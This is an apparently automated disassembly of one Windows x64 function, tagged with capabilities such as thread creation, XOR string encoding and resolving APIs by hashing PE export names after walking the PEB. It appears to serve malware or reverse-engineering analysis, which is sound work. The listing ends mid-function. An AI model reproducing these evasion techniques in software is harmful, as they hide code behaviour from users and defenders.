Function at 0x140073580
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x1401b4a40]
xor rax, rsp
mov qword [rbp + 0x300], rax
mov rbx, rdx
mov qword [rbp + 0x30], rdx
mov r12, rcx
mov qword [rbp + 0x100], rdx
xor edi, edi
mov dword [rbp - 0x58], edi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [fcn.1400693c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140069640]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140069a80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1400699c0
lea rcx, [rbp + 0x168]
call fcn.14007fd90
nop
mov dword [rsp + 0x78], 0xf7eff8b0
mov dword [rsp + 0x7c], 0xf9f5e9ff
mov word [rbp - 0x80], 0xa3
mov byte [rbp - 0x7e], 1
mov dword [rbp - 0x58], 0xf4f9f9b0
mov dword [rbp - 0x54], 0x100a6ff
mov dword [rbp - 0x68], 0xeafde4b0
mov dword [rbp - 0x64], 0xf3f3f2e9
mov dword [rbp - 0x60], 0x9dfbf7
mov byte [rbp - 0x5c], 1
mov dword [rsp + 0x70], 0xf0efffb0
mov dword [rsp + 0x74], 0x100a6fe
mov dword [rsp + 0x68], 0xe0fdfcb0
mov word [rsp + 0x6c], 0xa7
mov byte [rsp + 0x6e], 1
mov dword [rbp - 0x78], 0xfce8eee2
mov dword [rbp - 0x74], 0xfef5f7a7
mov dword [rbp - 0x70], 0xc4d3f1fb
mov word [rbp - 0x6c], 0x100
mov ecx, edi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rsp + rcx + 0x68], al
inc rcx
cmp rcx, 5
jb 0x1400736c0
mov byte [rsp + 0x6e], 0
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x6d]
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x128]
call fcn.140001ca0
nop
cmp byte [rbp - 0x6b], 0
je 0x140073714
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx - 0x78], al
inc rcx
cmp rcx, 0xc
jb 0x140073700
mov byte [rbp - 0x6b], 0
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x6c]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x38]
call fcn.140001ca0
nop
lea r9, [rbp + 0x128]
lea r8, [rbp + 0x38]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp - 0x10]
call fcn.1400652c0
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140073784
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007377e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007377e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
nop
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x1400737c9
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400737c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400737c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
nop
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400737d6
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp - 0x10]
call fcn.140017cd0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x148], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x158], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0xd8]
call fcn.14005eec0
nop
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0x10
cmovae rdx, qword [rbp + 0x168]
mov r8, qword [rbp + 0x178]
mov rcx, rax
call fcn.140017cd0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp - 0x68]
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x98]
call fcn.14005f160
nop
lea rdx, [r12 + 0x240]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140073898
mov rdx, qword [rdx]
mov rcx, rax
call fcn.140017cd0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x88], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x108]
call fcn.14005eec0
nop
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x1400738e5
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
mov rcx, rax
call fcn.140017cd0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rsp + 0x78]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.14005efa0
nop
lea r13, [r12 + 0x20]
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x140073936
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
mov rcx, rax
call fcn.140017cd0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400739a4
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007399f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007399f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
movdqa xmm0, xmmword [0x14010b890]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400739f4
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400739ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400739ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0x10
jb 0x140073a38
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073a33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073a33
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
movdqa xmm0, xmmword [0x14010b890]
movdqu xmmword [rbp + 0x118], xmm0
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp + 0x90]
cmp rdx, 0x10
jb 0x140073a91
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073a8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073a8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x140073ad5
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073ad0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073ad0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
movdqa xmm0, xmmword [0x14010b890]
movdqu xmmword [rbp + 0xa8], xmm0
mov byte [rbp + 0x98], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x140073b31
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073b2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073b2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
nop
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x140073b75
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073b70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073b70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
movdqa xmm0, xmmword [0x14010b890]
movdqu xmmword [rbp + 0xe8], xmm0
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0x160]
cmp rdx, 0x10
jb 0x140073bd1
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073bcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073bcb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140073c0f
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073c0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073c0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
movdqa xmm0, xmmword [0x14010b890]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
lea rax, [rbp + 0x128]
mov qword [rbp + 0xf8], rax
lea rdx, [r12 + 0x60]
lea rcx, [rbp + 0x128]
call fcn.14000c540
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rdi
lea r14, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 0x10
cmovae r14, qword [rbp + 0x1c8]
movabs rdi, 0x7fffffffffffffff
mov rsi, qword [rbp + 0x1d8]
cmp rsi, rdi
ja 0x140074df1
mov rbx, 0xffffffffffffffff
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
cmp rsi, 0x10
jae 0x140073ca5
mov qword [rbp - 0x20], rsi
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x30], xmm0
jmp 0x140073cf0
mov rax, rsi
or rax, 0xf
cmp rax, rdi
ja 0x140073cc0
mov rdi, rax
mov ecx, socket
cmp rax, rcx
cmovb rdi, rcx
mov rdx, rdi
add rdx, 1
cmovb rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.140068240
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
mov r8, r15
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x188]
call fcn.140077930
nop
lea rax, [rbp - 0x10]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0x10
cmovae rdx, qword [rbp + 0x188]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xor esi, esi
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
inc rbx
cmp byte [rdx + rbx], sil
jne 0x140073d35
mov r8, rbx
lea rcx, [rbp - 0x10]
call fcn.1400029a0
nop
lea rax, [rbp + 0x38]
mov qword [rbp + 0xf8], rax
lea rdx, [0x1401b3b68]
lea rcx, [rbp + 0x38]
call fcn.14000c540
mov rbx, rax
lea rdx, [0x1401b3b48]
lea rcx, [rbp + 0x148]
call fcn.14000c540
nop
lea r8, [rbp - 0x10]
mov rdx, rbx
mov rcx, rax
call fcn.140066c50
xor eax, 0xa5a5
mov edx, eax
shr eax, 8
movzx r8d, al
movzx eax, dl
movabs r15, 0xcbf29ce484222325
xor rax, r15
movabs r14, 0x100000001b3
imul rax, r14
xor r8, rax
imul r8, r14
mov eax, edx
shr eax, 0x10
movzx ecx, al
xor r8, rcx
imul r8, r14
shr rdx, 0x18
xor r8, rdx
imul r8, r14
cmp r8w, 0xdf7f
jne 0x140074bc7
mov qword [rbp + 0x70], rsi
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x108]
call fcn.1400626e0
nop
mov rdx, r13
lea rcx, [rbp - 0x68]
call fcn.14005e650
nop
mov dword [rsp + 0x58], 0xfcf6e0f9
mov dword [rsp + 0x5c], 0xf8f2e8
mov byte [rsp + 0x60], 1
mov rcx, rsi
nop
lea eax, [rcx - 0x6a]
xor byte [rsp + rcx + 0x58], al
inc rcx
cmp rcx, 7
jb 0x140073e30
mov byte [rsp + 0x60], 0
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x5f]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x30]
call fcn.140001ca0
nop
movzx ecx, byte [rbp + 0x108]
test cl, cl
jne 0x140073e85
mov byte [rbp + 0x108], 1
call fcn.140060ae0
mov qword [rbp + 0x110], rax
movzx ecx, byte [rbp + 0x108]
jmp 0x140073e8c
mov rax, qword [rbp + 0x110]
cmp cl, 1
jne 0x140073e9f
lea rdx, [rbp - 0x30]
mov rcx, rax
call fcn.140066630
jmp 0x140073ea4
mov rax, qword [rsp + 0x58]
lea rdx, [rbp - 0x68]
mov rcx, rax
call fcn.140066290
test al, al
sete bl
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140073ef3
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073eee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073eee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
movdqa xmm0, xmmword [0x14010b890]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
movzx edx, byte [rbp - 0x68]
lea rcx, [rbp - 0x60]
call fcn.14006ccd0
test bl, bl
je 0x140073fc9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140073fa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073fa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xcfc14b59
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140073fa1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073f80
cmp r8d, 0x1f189c39
je 0x140073fab
test r9d, r9d
jne 0x140073f60
mov rax, qword [rax]
jmp 0x140073f30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 8
call rdx
mov dword [rbp - 0x50], 0xeaebf2fb
mov dword [rbp - 0x4c], 0xf9fcfb
mov byte [rbp - 0x48], 1
mov rcx, rsi
nop
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 7
jb 0x140073fe0
mov byte [rbp - 0x48], 0
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x49]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x10]
call fcn.140001ca0
nop
mov rbx, qword [rsp + 0x58]
movzx ecx, byte [rbp + 0x108]
test cl, cl
jne 0x140074037
mov byte [rbp + 0x108], 1
call fcn.140060ae0
mov qword [rbp + 0x110], rax
movzx ecx, byte [rbp + 0x108]
jmp 0x14007403e
mov rax, qword [rbp + 0x110]
cmp cl, 1
jne 0x140074052
lea rdx, [rbp + 0x10]
mov rcx, rax
call fcn.140066630
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a8], xmm0
movdqa xmm1, xmmword [0x14010b890]
movdqu xmmword [rbp + 0x1b8], xmm1
mov byte [rbp + 0x1a8], 0
mov dword [rbp - 0x58], 0x17ffc
cmp byte [rbx], 3
jne 0x140074091
mov rdx, qword [rbx + 8]
lea rax, [rbp + 0x1a8]
cmp rax, rdx
je 0x1400740af
jmp 0x140074094
mov rdx, rsi
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1400740a2
mov rdx, qword [rdx]
lea rcx, [rbp + 0x1a8]
call fcn.140017d60
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400740ed
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400740e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400740e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
movdqa xmm0, xmmword [0x14010b890]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
movabs rsi, 0xcbe5c873d26645f1
mov dword [rsp + 0x70], 0xfcfcf8f5
mov word [rsp + 0x74], 0x100
xor ecx, ecx
nop dword [rax]
lea eax, [rcx - 0x6a]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 4
jb 0x140074120
mov byte [rsp + 0x75], 0
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x74]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x128]
call fcn.140001ca0
nop
movzx ecx, byte [rbp + 0x108]
test cl, cl
jne 0x140074178
mov byte [rbp + 0x108], 1
call fcn.140060ae0
mov qword [rbp + 0x110], rax
movzx ecx, byte [rbp + 0x108]
jmp 0x14007417f
mov rax, qword [rbp + 0x110]
cmp cl, 1
jne 0x140074195
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140066630
jmp 0x14007419a
mov rax, qword [rsp + 0x58]
mov rcx, rax
call fcn.14005ec30
mov edx, eax
shr eax, 8
movzx edi, al
movzx eax, dl
xor rax, r15
imul rax, r14
xor rdi, rax
imul rdi, r14
mov eax, edx
shr eax, 0x10
movzx ecx, al
xor rdi, rcx
imul rdi, r14
shr rdx, 0x18
xor rdi, rdx
imul rdi, r14
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x140074219
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074214
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074214
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
mov dword [rsp + 0x58], 0xfafbe2e5
mov dword [rsp + 0x5c], 0xefe8ff
mov byte [rsp + 0x60], 1
xor r14d, r14d
mov ecx, r14d
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rsp + rcx + 0x58], al
inc rcx
cmp rcx, 7
jb 0x140074240
mov byte [rsp + 0x60], r14b
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x5f]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x38]
call fcn.140001ca0
nop
mov ebx, 0x1efffd
mov dword [rbp - 0x58], ebx
movzx ecx, byte [rbp + 0x108]
test cl, cl
jne 0x14007429d
mov byte [rbp + 0x108], 1
call fcn.140060ae0
mov qword [rbp + 0x110], rax
movzx ecx, byte [rbp + 0x108]
jmp 0x1400742a4
mov rax, qword [rbp + 0x110]
cmp cl, 1
jne 0x1400742ba
lea rdx, [rbp + 0x38]
mov rcx, rax
call fcn.140066630
mov rcx, rax
jmp 0x1400742bf
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r14
cmp byte [rax], 0
je 0x14007438c
mov dword [rbp - 0x40], 0xfafbe2e5
mov dword [rbp - 0x3c], 0xefe8ff
mov byte [rbp - 0x38], 1
mov rcx, r14
nop dword [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 7
jb 0x1400742f0
mov byte [rbp - 0x38], 0
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x128]
call fcn.140001ca0
nop
mov ebx, 0x19effff
mov dword [rbp - 0x58], ebx
movzx ecx, byte [rbp + 0x108]
test cl, cl
jne 0x14007434d
mov byte [rbp + 0x108], 1
call fcn.140060ae0
mov qword [rbp + 0x110], rax
movzx ecx, byte [rbp + 0x108]
jmp 0x140074354
mov rax, qword [rbp + 0x110]
cmp cl, 1
jne 0x14007436d
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140066630
mov rcx, rax
jmp 0x140074372
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r14
cmp byte [rax], 0
je 0x140074387
cmp rdi, rsi
je 0x14007438c
xor dil, dil
jmp 0x14007438f
mov dil, 1
test bl, 2
je 0x1400743a4
and ebx, 0xfffffffd
lea rcx, [rbp + 0x128]
call fcn.14000db10
nop
test bl, 1
je 0x1400743b2
lea rcx, [rbp + 0x38]
call fcn.14000db10
test dil, dil
je 0x140074ade
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x10]
call fcn.140064fb0
mov rdx, rax
mov rcx, r12
call fcn.1400752c0
mov dword [rbp - 0x78], 0xfafbe2e5
mov dword [rbp - 0x74], 0xefe8ff
mov byte [rbp - 0x70], 1
xor esi, esi
mov ecx, esi
nop dword [rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx - 0x78], al
inc rcx
cmp rcx, 7
jb 0x1400743f0
mov byte [rbp - 0x70], sil
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x71]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x128]
call fcn.140001ca0
nop
movzx ecx, byte [rbp + 0x108]
test cl, cl
jne 0x140074445
mov byte [rbp + 0x108], 1
call fcn.140060ae0
mov qword [rbp + 0x110], rax
movzx ecx, byte [rbp + 0x108]
jmp 0x14007444c
mov rax, qword [rbp + 0x110]
cmp cl, 1
jne 0x140074465
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140066630
mov rcx, rax
jmp 0x14007446a
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, rsi
movzx ebx, byte [rax]
lea rcx, [rbp + 0x128]
call fcn.14000db10
test bl, bl
je 0x14007453e
mov dword [rsp + 0x68], 0xf6fef9ff
mov word [rsp + 0x6c], 0x100
mov rcx, rsi
nop
lea eax, [rcx - 0x6a]
xor byte [rsp + rcx + 0x68], al
inc rcx
cmp rcx, 4
jb 0x1400744a0
mov byte [rsp + 0x6d], 0
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x6c]
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x128]
call fcn.140001ca0
nop
movzx ecx, byte [rbp + 0x108]
test cl, cl
jne 0x1400744f8
mov byte [rbp + 0x108], 1
call fcn.140060ae0
mov qword [rbp + 0x110], rax
movzx ecx, byte [rbp + 0x108]
jmp 0x1400744ff
mov rax, qword [rbp + 0x110]
cmp cl, 1
jne 0x140074515
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140066630
jmp 0x14007451a
mov rax, qword [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140064fb0
mov rdx, rax
mov rcx, r12
call fcn.140075760
nop
lea rcx, [rbp + 0x128]
call fcn.14000db10
mov dword [rbp - 0x68], 0xedf1f9df
mov dword [rbp - 0x64], 0xf4f0faf3
mov dword [rbp - 0x60], 0xc4fae4
mov byte [rbp - 0x5c], 1
mov rcx, rsi
nop word [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx - 0x68], al
inc rcx
cmp rcx, 0xb
jb 0x140074560
mov byte [rbp - 0x5c], 0
lea rcx, [r12 + 0x218]
lea rdx, [rbp - 0x68]
call fcn.14005e8f0
test al, al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
je 0x140074a40
lea r15, [0x1401b3b28]
mov rsi, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rsi, qword [0x1401b3b28]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140074636
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074636
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xad138002
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074631
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074610
cmp r8d, 0x7a618aa4
je 0x14007463b
test r9d, r9d
jne 0x1400745f0
mov rax, qword [rax]
jmp 0x1400745c0
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
movdqa xmm0, xmmword [0x140112510]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x20], 1
xor esi, esi
mov ecx, esi
nop dword [rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0xf
jb 0x140074670
mov byte [rbp - 0x20], sil
mov r8, r15
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x128]
call fcn.14005ee50
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1f0]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x1f0]
call fcn.14000c400
nop
cmp qword [rbp + 0x278], 0
je 0x14007470e
mov rdx, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x1401b3b28]
mov r8, qword [0x1401b3b38]
lea rcx, [rbp + 0x1f0]
call fcn.1400049f0
lea rcx, [rbp + 0x1f0]
call fcn.14006a500
mov dword [rsp + 0x78], 0xedfef8c5
mov dword [rsp + 0x7c], 0xf8eefaed
mov word [rbp - 0x80], 0xc2
mov byte [rbp - 0x7e], 1
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rsp + rcx + 0x78], al
inc rcx
cmp rcx, 9
jb 0x140074730
mov byte [rbp - 0x7e], 0
mov r8, r15
